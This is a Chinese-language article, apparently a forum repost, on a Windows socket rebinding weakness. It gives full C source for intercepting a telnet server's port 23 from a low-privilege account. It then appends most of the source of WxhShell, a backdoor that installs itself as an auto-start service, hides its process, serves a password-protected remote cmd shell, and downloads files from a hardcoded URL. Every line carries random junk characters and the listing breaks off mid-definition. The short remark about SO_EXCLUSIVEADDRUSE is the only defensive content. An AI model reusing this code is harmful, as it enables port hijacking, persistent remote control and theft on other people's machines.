在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
q[7CPE0n s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
yL0f1nS %BUEX saddr.sin_family = AF_INET;
Pm4e8b MkwU<ae AB saddr.sin_addr.s_addr = htonl(INADDR_ANY);
tAF]2VV(e l , ..5 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
,V,f2W 4 n-DaX
kK 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
(a[.vw^g !O|ql6^; 这意味着什么?意味着可以进行如下的攻击:
z~,mRgc$B m6^ 5S 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
oL]mjo=jN [F+(^- ( 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
>OV<_(S4 #ZJMlJ:q`" 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
$B\ H i}v9ut]B 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
IV'p~t l3. 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
we3tx{j ;f:gX`"\ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
OF[?Z @Br
{!#Wf 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
hoenQ6N^: 3X;{vO\a1 #include
l4rMk^>> #include
q/NY72tj0 #include
VPt9QL( #include
=. *98 DWORD WINAPI ClientThread(LPVOID lpParam);
?c]n^GvG int main()
qz!Ph5( {
aBhV3Fd[B WORD wVersionRequested;
SR ZL\m} DWORD ret;
+L0w;w T WSADATA wsaData;
S,''>`w BOOL val;
Ha%F"V* SOCKADDR_IN saddr;
|t))u`~ SOCKADDR_IN scaddr;
9'nH2,_ int err;
EF#QH
_X SOCKET s;
}s_hD`' SOCKET sc;
j?6X1cM q int caddsize;
PFM'&;V HANDLE mt;
(CJ.BHu] DWORD tid;
KyVQh8 wVersionRequested = MAKEWORD( 2, 2 );
\f]k CB err = WSAStartup( wVersionRequested, &wsaData );
kw>v:F<M if ( err != 0 ) {
7`-Zuf printf("error!WSAStartup failed!\n");
6Z>FTz_ return -1;
`YFtL }
''q@> saddr.sin_family = AF_INET;
wxR,OR rXmn7;B}g //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
0t^M3+nc iZ#!O*> saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
yCd-9zb= saddr.sin_port = htons(23);
9=vMgW if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
G"-?&)M#a {
mC4zactv printf("error!socket failed!\n");
@oNH@a
j% return -1;
,V,`Jf }
EY^1Y3D w0 val = TRUE;
!^^?dRd*v //SO_REUSEADDR选项就是可以实现端口重绑定的
kW2sY^Rg if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
#+:9T/*>0 {
T}Km?d printf("error!setsockopt failed!\n");
MuYk};f return -1;
Pj#<K%Bz }
:=}US}H$ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
j>*R]mr6 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
zcel|oz) //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
NaPt"G W^0w if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
ujDd1Bxf? {
0C =3dnp6 ret=GetLastError();
RTvqCp printf("error!bind failed!\n");
3/aMJR:o
return -1;
Vr )<\h }
txJr; listen(s,2);
d:ARf while(1)
2"0es40;0 {
N^#ZJoR caddsize = sizeof(scaddr);
p6]7&{> //接受连接请求
~T ]m>A! sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
!Z`j2
e} if(sc!=INVALID_SOCKET)
VeGL) {
MC?,UDNd% mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
:9O#ObFR if(mt==NULL)
T?:Rdo!:u {
H(R1o~ printf("Thread Creat Failed!\n");
'[U8}z3 break;
UM!ENI| }
NiWa7 /Hr }
~c8?>oN( CloseHandle(mt);
z{[xze-f }
z8jk[5z closesocket(s);
~"!]
3C,L WSACleanup();
)hd@S9Z.Y return 0;
]=.\-K }
|S_T^'<W DWORD WINAPI ClientThread(LPVOID lpParam)
0)%YNaskj {
AjmVc]) SOCKET ss = (SOCKET)lpParam;
+awW3^1Ed SOCKET sc;
Y&[1`:-~- unsigned char buf[4096];
n1qQ+(xC SOCKADDR_IN saddr;
iocI:b< long num;
oeKHqP wg DWORD val;
7Ilm{@b= DWORD ret;
l]@&D#3ZM //如果是隐藏端口应用的话,可以在此处加一些判断
nIAx2dh? //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
X'wE7=29M saddr.sin_family = AF_INET;
GT~)nC9f saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
pwO>h>ik saddr.sin_port = htons(23);
<p}R~zk if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
=7-9[ { {
=CK4.
printf("error!socket failed!\n");
oE<`VY| return -1;
h"Xg;(K }
x1Lb*3Fe val = 100;
uG?_< mun if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
ie;]/va {
r^h4z`:L ret = GetLastError();
'Hc-~l>D return -1;
.EpV;xq} }
UUSq$~Ct if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
K2he4< {
&/mA7Vf>eR ret = GetLastError();
-c(F 1l return -1;
k xP-,MD }
0F@"b{&0 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
_Bj)r}~7# {
e.]K L(' printf("error!socket connect failed!\n");
EzDk}uKY0R closesocket(sc);
-0?~ closesocket(ss);
Kpb#K[(]& return -1;
W^fuScG)c }
kz{/(t while(1)
0*%Z's\M" {
S7=Bd[4 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
nNrPHNfqD //如果是嗅探内容的话,可以再此处进行内容分析和记录
TS /.`.gT //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
!O-T0O num = recv(ss,buf,4096,0);
&L#UGp$, if(num>0)
N U|d send(sc,buf,num,0);
ki [UV
zd else if(num==0)
< XP9@t&
break;
+hn+K1 num = recv(sc,buf,4096,0);
W)9K`hM6 if(num>0)
}MRd@ 0-?! send(ss,buf,num,0);
eK.e|z| else if(num==0)
>"gf3rioW break;
*4_jA]( }
:80Z6F.k` closesocket(ss);
%{YN70/ closesocket(sc);
+SsK21f"r return 0 ;
,$1eFgY% }
Nndddk` /E
Bo3` :[?hU}9 ==========================================================
0ERA(=w5 ZG"_M@S. 下边附上一个代码,,WXhSHELL
O'*KNJX +QGZ2_vW ==========================================================
:'|%~&J :>c33X} #include "stdafx.h"
4[v
%]g` =`Pgo5A #include <stdio.h>
uzr(gFd #include <string.h>
Vf:/Kokq #include <windows.h>
0[/>>
!ws #include <winsock2.h>
<k+dJ=f #include <winsvc.h>
[W;iR_7T5 #include <urlmon.h>
pX `BDYg. yY_Zq\ #pragma comment (lib, "Ws2_32.lib")
-<h4I
aM #pragma comment (lib, "urlmon.lib")
^}fc]ovV b"DaLwKkz #define MAX_USER 100 // 最大客户端连接数
3copJS #define BUF_SOCK 200 // sock buffer
V(3^ev/ #define KEY_BUFF 255 // 输入 buffer
Wa7-N4 la+RK #define REBOOT 0 // 重启
589hfET #define SHUTDOWN 1 // 关机
H]As2$[ ?5-Y'(r #define DEF_PORT 5000 // 监听端口
N@6+DHt $P
rji #define REG_LEN 16 // 注册表键长度
Mtq\xF,/+ #define SVC_LEN 80 // NT服务名长度
nI]8w6eCV +?y ', Ir // 从dll定义API
[ @ >} typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
:+#$=4 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
pZHx typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
;+C2P@M typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
cip5 -Z@8 5,dKha // wxhshell配置信息
5XtIVHA@{ struct WSCFG {
rZ`+g7&^Fh int ws_port; // 监听端口
!y_4.&C{ char ws_passstr[REG_LEN]; // 口令
6.5E
d- int ws_autoins; // 安装标记, 1=yes 0=no
,6VY S\a3 char ws_regname[REG_LEN]; // 注册表键名
lEAf\T7 char ws_svcname[REG_LEN]; // 服务名
-J &y]' char ws_svcdisp[SVC_LEN]; // 服务显示名
kA/4W^]Ws char ws_svcdesc[SVC_LEN]; // 服务描述信息
KEfN!6 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
A; _Zw[ int ws_downexe; // 下载执行标记, 1=yes 0=no
%Yw?!GvL[ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
Aq5CF`e{ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
"t0l)P*C} !#&`1cYX };
qkXnpv *? V boyU // default Wxhshell configuration
E)>.2{]C> struct WSCFG wscfg={DEF_PORT,
g79zzi- "xuhuanlingzhe",
Dc@OrQu 1,
VEsIhjQ "Wxhshell",
5nV IC3N+1 "Wxhshell",
x3AAn,m8 "WxhShell Service",
k%D|17I "Wrsky Windows CmdShell Service",
Uc%kyTBm1 "Please Input Your Password: ",
RE0ud_q2 1,
PQj 'D<G "
http://www.wrsky.com/wxhshell.exe",
~n=oPm$pR "Wxhshell.exe"
'2z1$zst,# };
]A&pXAM lxsn(- j // 消息定义模块
gCV+amP char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
eC{St0 char *msg_ws_prompt="\n\r? for help\n\r#>";
6n A/LW\x char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
KPjC<9sby char *msg_ws_ext="\n\rExit.";
4^Ke?;v char *msg_ws_end="\n\rQuit.";
0gRm LX char *msg_ws_boot="\n\rReboot...";
8-B6D~i char *msg_ws_poff="\n\rShutdown...";
g@zhhBtQ char *msg_ws_down="\n\rSave to ";
SPT?Tt XvSng"f. char *msg_ws_err="\n\rErr!";
:u]QEZ@@ char *msg_ws_ok="\n\rOK!";
dL]wu!wE :i3
W U% char ExeFile[MAX_PATH];
dOT7;@ int nUser = 0;
-K (>uV!? HANDLE handles[MAX_USER];
6]r#6c% int OsIsNt;
+!Q*ie+q ;e{e
?,[ SERVICE_STATUS serviceStatus;
,!O]c8PcU SERVICE_STATUS_HANDLE hServiceStatusHandle;
:85QwN]\ `mthzc3W // 函数声明
]JR2Av int Install(void);
?bAv{1dvT= int Uninstall(void);
%Yt;)q3U int DownloadFile(char *sURL, SOCKET wsh);
NTo[di\_ int Boot(int flag);
Wl7S<>hg4 void HideProc(void);
.ah[!O int GetOsVer(void);
sd9b9?qiu int Wxhshell(SOCKET wsl);
Jcy+(7lE) void TalkWithClient(void *cs);
99tUw'w int CmdShell(SOCKET sock);
Bg[_MDWc-P int StartFromService(void);
Y(u`K=* int StartWxhshell(LPSTR lpCmdLine);
*xjP^y": `mH]QjAO VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
:='I>Gn VOID WINAPI NTServiceHandler( DWORD fdwControl );
GExr] 2r {FX]1: // 数据结构和表定义
I7W`\d) SERVICE_TABLE_ENTRY DispatchTable[] =
n[B[hAT {
.D;6
r4S {wscfg.ws_svcname, NTServiceMain},
~{GTL_w {NULL, NULL}
,^7]F"5 };
cm0$v8 SOZs!9oi // 自我安装
O^PN{u int Install(void)
z9!OzGtIR {
+|x{?%.O char svExeFile[MAX_PATH];
{V pk o HKEY key;
k }{o:
N strcpy(svExeFile,ExeFile);
qyAnq%B} ~MP |L?my // 如果是win9x系统,修改注册表设为自启动
S.{
if(!OsIsNt) {
P,xIDj4d if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Sl-9im1 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
h$}PQ RegCloseKey(key);
{\vVzy,t7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
R={#V8D~ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
6Xz d>5x RegCloseKey(key);
4*L*"vKa return 0;
,
@!X!L }
!^8X71W| }
9]{va"pe7 }
As`=K$^Il. else {
X)+6>\ cDE5/! // 如果是NT以上系统,安装为系统服务
qMA-# SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
o0|Ex\ if (schSCManager!=0)
I~@8SSO,vH {
PLMC<4$s SC_HANDLE schService = CreateService
1?1Bz?EKF* (
2lOUNx Q$ schSCManager,
KB(W'M_D\ wscfg.ws_svcname,
UxzF5V5 wscfg.ws_svcdisp,
H:~u(N SERVICE_ALL_ACCESS,
c;fLM`{* SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
't0M+_J SERVICE_AUTO_START,
X0$q! SERVICE_ERROR_NORMAL,
w D r/T3 svExeFile,
]sk=V.GGQ NULL,
pt,L NULL,
s.Ai_D NULL,
) ba~7A NULL,
p'1/J:EnV NULL
MGt>:&s(] );
O=(F46 M if (schService!=0)
/lu|FWbEw {
t"q'"FX CloseServiceHandle(schService);
,m5i(WL CloseServiceHandle(schSCManager);
wlaPE8Gc strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
||awNSt strcat(svExeFile,wscfg.ws_svcname);
%xOxMK@ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
>RAg63!` RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
,f$P[c RegCloseKey(key);
L\:m)g,F. return 0;
ce}A!v }
fs&$?mHL){ }
fe98Y-e CloseServiceHandle(schSCManager);
3mo4;F,h9 }
MK)}zjw }
aaT3-][ W/>a 1 return 1;
kaB|+U9^ }
Hy&Z0W'l c&',#.9 // 自我卸载
/}8Au$nA int Uninstall(void)
GyN|beou {
"T5oUy&i HKEY key;
6{=U=
* `?(J(H if(!OsIsNt) {
xL"J?Gy if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
YYYF a RegDeleteValue(key,wscfg.ws_regname);
$) "\N RegCloseKey(key);
S3Gr}N if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
{/,(F^T>2 RegDeleteValue(key,wscfg.ws_regname);
`y.4FA4"8 RegCloseKey(key);
|xFA} return 0;
7cGOJA5& }
"I/05k K }
\EVT*v=}/ }
DX>LB$dy? else {
A'z]?xQR @M4c/k} SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
~Dq-q6-@t if (schSCManager!=0)
1Ys=KA-!_x {
M*gvYo SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
04Zdg:[3-! if (schService!=0)
fGlvum {
="& GU%$ if(DeleteService(schService)!=0) {
7CH&n4v CloseServiceHandle(schService);
%QEBY>|lI CloseServiceHandle(schSCManager);
)H
W return 0;
%u66H2 }
9m$"B*&6G
CloseServiceHandle(schService);
-J+1V{ }
!?JZ^/u CloseServiceHandle(schSCManager);
`KA==;0 }
yO%^[c? }
F,~BhKkbV &@oI/i&0B return 1;
\{ EVRRXn }
uE')<fVX( h#r~2\q4ei // 从指定url下载文件
FJtmRPP[r int DownloadFile(char *sURL, SOCKET wsh)
G|Et'k.F4 {
:VlA2Ih&q HRESULT hr;
IsI5c char seps[]= "/";
,M3hE/rb/ char *token;
i6_} char *file;
"D.<~! char myURL[MAX_PATH];
zb9G&'7 char myFILE[MAX_PATH];
(_e[CqFu MN2i0!+ strcpy(myURL,sURL);
>JE+j= token=strtok(myURL,seps);
5eff3qrH{ while(token!=NULL)
H^n@9U;[K {
vEg%ivj3 file=token;
uxTgK'3 token=strtok(NULL,seps);
<WIIurp }
#E!^oZm<Z .|[{$&B GetCurrentDirectory(MAX_PATH,myFILE);
no<$=(11i strcat(myFILE, "\\");
p\=T#lb strcat(myFILE, file);
S~aWun send(wsh,myFILE,strlen(myFILE),0);
3XQa%|N( send(wsh,"...",3,0);
>(a35 b$ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
#8et91qw if(hr==S_OK)
>p-UQc return 0;
Q ")Xg: else
J;_4
3eS return 1;
%evb.h) gDU!dT }
c@[Trk m 7e+C5W*9b // 系统电源模块
rlKR
<4H int Boot(int flag)
2@tnOs(* {
:
b`N(] HANDLE hToken;
o C|oh TOKEN_PRIVILEGES tkp;
]6Iu\,#J =Iop if(OsIsNt) {
[Kc ?<3W OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
}lp37, LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
0L/chP tkp.PrivilegeCount = 1;
;iiCay37F tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
" YI, AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Y_[7q<L if(flag==REBOOT) {
W Csf_1 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
tNFw1& return 0;
^o5;><S] }
q{&c?l*2 else {
5/n L[4Z if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
HU>>\t?d return 0;
nBk&+SN }
^(:~8 h }
[voZ=+/ else {
.4v?/t1 if(flag==REBOOT) {
eaf-_#qb if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
~b]enG5xS4 return 0;
Q8`V0E\~ }
7k* else {
[Ep'm if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
1?&|V1vc return 0;
n}a`|Nbk }
^Saf
z8-3o }
1J9p1_d5 }T$BU>z33N return 1;
fd *XK/h }
\
86g y/ j?u1\<m // win9x进程隐藏模块
#3*cA!V.< void HideProc(void)
c#{|sR5 {
;wMu |1_$\k9Y& HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
t,De/ L if ( hKernel != NULL )
K*5gb^Ul {
c"tlNf? pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
w =F9> ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Ph
P)|P FreeLibrary(hKernel);
'sIne> }
?rOj?J9 PsUO8g'\ return;
X[.%[G|oj} }
b/[X8w'VP ?{ '_4n3O // 获取操作系统版本
!IR
cv
a int GetOsVer(void)
j>8ubA {
/#T {0GBXe OSVERSIONINFO winfo;
^J> m4` winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
kAp#6->(q GetVersionEx(&winfo);
~"%'(j_4 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
OD7A(28 return 1;
i45.2, else
S8AbLl9G@> return 0;
<k8WnA ~Fl }
e~
OrZhJ=_ fUf1G{4 // 客户端句柄模块
F_:Wu,dUZ int Wxhshell(SOCKET wsl)
ffk>IOH {
nmn/4> SOCKET wsh;
EXeV@kg struct sockaddr_in client;
%Y0lMNP DWORD myID;
neu<zSS TI8\qIW while(nUser<MAX_USER)
j.6!T'$| {
Eg1TF oIWl int nSize=sizeof(client);
#tg\
bb wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
>y8>OJ?A7- if(wsh==INVALID_SOCKET) return 1;
>k\p%{P *J^FV^E`` handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
*2/qm:gB if(handles[nUser]==0)
\3ydNgl closesocket(wsh);
#@-dT,t else
&;?+ ^L> nUser++;
XSof{:V }
u= dj3q WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
qGN>a[D yz0#0YG7 return 0;
8>j&) @q }
f9UDH8X |8{ k,!P'K // 关闭 socket
}U=}5`_]D void CloseIt(SOCKET wsh)
`0%;Gz%} {
tkm@&e=e% closesocket(wsh);
/zh:7N nUser--;
OH`zeI,[* ExitThread(0);
v B~VJKD }
13 L&f\b PUD8 // 客户端请求句柄
h3E}Sa(MQ: void TalkWithClient(void *cs)
G"3KYBN> {
_l]
0V
g` zQO 1%g SOCKET wsh=(SOCKET)cs;
@$kzes\ char pwd[SVC_LEN];
eu)""l char cmd[KEY_BUFF];
x(Uv>k~i} char chr[1];
s\~j,$Mm2 int i,j;
9a@S^B> Ok)f5")N % while (nUser < MAX_USER) {
Tt{X(I} J L;g2ZoqIr0 if(wscfg.ws_passstr) {
6yUThv.G# if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
+8"8s //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
@N[<<k7g //ZeroMemory(pwd,KEY_BUFF);
_d7;Z% i=0;
F@ |( while(i<SVC_LEN) {
%@ >^JTkY8 .1Dg s=| // 设置超时
B|C2lu fd_set FdRead;
g}1B;zGf struct timeval TimeOut;
12b(A+M
FD_ZERO(&FdRead);
L
[pBB FD_SET(wsh,&FdRead);
m[~y@7AK< TimeOut.tv_sec=8;
KJ)k =mJ TimeOut.tv_usec=0;
3YOq2pW72G int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
X^wt3<Kbf if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
3u+T~g0^ (c=6yV@ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
.ypL=~Rp pwd
=chr[0]; s+$ Q}|?u
if(chr[0]==0xd || chr[0]==0xa) { E Nhl&J
pwd=0; h+g_rvIG*
break; yg<R=$n,Q
} he;dq)-e9
i++; FrGgga$
} }HYbS8 '
H)kwQRfu
// 如果是非法用户,关闭 socket 7rc0yB
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); XpB_N{v9w
} Q4#m\KK;i9
'}53f2%gKa
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @<hb6bo,N
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %S960
dVtG/0
while(1) { /|6N*>l)y
;#W2|'HD
ZeroMemory(cmd,KEY_BUFF); 2j[=\K]
EIP/V
// 自动支持客户端 telnet标准 ~D j8z+^
j=0; l` lk-nb
while(j<KEY_BUFF) { =
SMXDaH
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MS~(D.@ZS
cmd[j]=chr[0]; k_#ak%m/
if(chr[0]==0xa || chr[0]==0xd) { ,aZ[R27rpL
cmd[j]=0; C_}]`[
break; =7=]{Cx[
} x)DMPVB<
j++; X]TG<r
} m]6mGp
w3ResQ
// 下载文件 hn
GZ=
if(strstr(cmd,"http://")) { ~^:A{/
send(wsh,msg_ws_down,strlen(msg_ws_down),0); AlaW=leTe
if(DownloadFile(cmd,wsh)) BA:VPTZq
send(wsh,msg_ws_err,strlen(msg_ws_err),0); n:?a$Ldgm
else Qz1E 2yJ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NIry)'"
} YoNDf39
else { 6Pl<'3&
/hR&8 `\\
switch(cmd[0]) { \';gvr|
+Mb.:_7'
// 帮助 D%pF;XY
case '?': { j_?FmX
_
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "%w u2%i
break; Dw.J2>uj
} Czu9o;xr
// 安装 &DX! f
case 'i': { lTgjq:mn
if(Install()) v@L;x [Q
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %J?xRv!
else ?);v`]
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $Ds2>G4c
break; Z@S3ZGe
} BX7kO0j
// 卸载 X&`t{Id?6
case 'r': { e X|m
if(Uninstall()) UB@+ck
send(wsh,msg_ws_err,strlen(msg_ws_err),0); qR8Lh( "i
else hMO=#up&
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \ ~$#1D1f
break; ;*Et[}3
} kn4`Fa;)O
// 显示 wxhshell 所在路径 f.$af4
u
case 'p': { 0'C1YvF
char svExeFile[MAX_PATH]; *.t7G
strcpy(svExeFile,"\n\r"); $%#!bV
strcat(svExeFile,ExeFile); JPw.8|V)y
send(wsh,svExeFile,strlen(svExeFile),0); sDlO#
break; JK5gQ3C[
} Wh*uaad7
// 重启 YN F k
case 'b': { iqWQ!r^
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +[mk<pQ
if(Boot(REBOOT)) "+G8d'%YV
send(wsh,msg_ws_err,strlen(msg_ws_err),0); E ~<JC"]
else { 1oGw4kD^x
closesocket(wsh); )jP1or
ExitThread(0); 2FJ*f/
} H* *Xu;/5@
break; /a4{?? #e
} 1mG-}
// 关机 t'ql[
case 'd': { Ad_hKO
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Gyc]?m
if(Boot(SHUTDOWN)) ?6WY:Zec@
send(wsh,msg_ws_err,strlen(msg_ws_err),0); jNk%OrP]
else { o>pJPV
closesocket(wsh); @K-">f
ExitThread(0); 4,DeHJjAlE
} $>LQ6|XRu
break; J)-x!y>
} vEJbA
// 获取shell ^ [@,
case 's': { C?eH]hkZ3
CmdShell(wsh); /j.9$H'y
closesocket(wsh); ]t"Ss_,
ExitThread(0); G4"F+%.
break; 4o[{>gW
} pEA:L$&
// 退出 a\*yZlXKs
case 'x': { +
{'.7#
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]D\D~!R
CloseIt(wsh); tKXIk9e
break; X"%gQ.1|{j
} CpTjJXb
// 离开 9hyn`u.
case 'q': { qJ-/7-$ ^
send(wsh,msg_ws_end,strlen(msg_ws_end),0); LrpM\}t
closesocket(wsh); c7H^$_^ =
WSACleanup(); 3ckclO\|>
exit(1); )vlhN2iv
break; G 01ON0
} q!@4~plz
} =Dj#gV
} cFX p
x
kD6Iw
// 提示信息 2&cT~ZX&'
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w,D+j74e$
} E2-\]?\F(
} -mh3DhJ,
Kc\fu3Q
return; <C*hokqqP
} Dw"\/p:-3
.e-#yET
// shell模块句柄 1xvu<|F
int CmdShell(SOCKET sock) yB!dp;gM{
{ Pg{J{gn
STARTUPINFO si; VIbq:U
ZeroMemory(&si,sizeof(si)); DHRlWQox
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /$%%s=@IL
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %a7$QF]
PROCESS_INFORMATION ProcessInfo; -nwypu
char cmdline[]="cmd"; %
]U
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); NHE18_v5
return 0; 5mR 1@
} 0"SU_jQzv
?V=CB,^
// 自身启动模式 U$UIN#
int StartFromService(void) 0*v2y*2V
{ B<C&xDRZ0
typedef struct 8FhdN
{ 19] E 5'AI
DWORD ExitStatus; (;,sc$H]
DWORD PebBaseAddress; Y4YJJYvD
DWORD AffinityMask; d_P` qA
DWORD BasePriority; GA.8@3
ULONG UniqueProcessId; ;F Eqe49
ULONG InheritedFromUniqueProcessId; moE2G?R
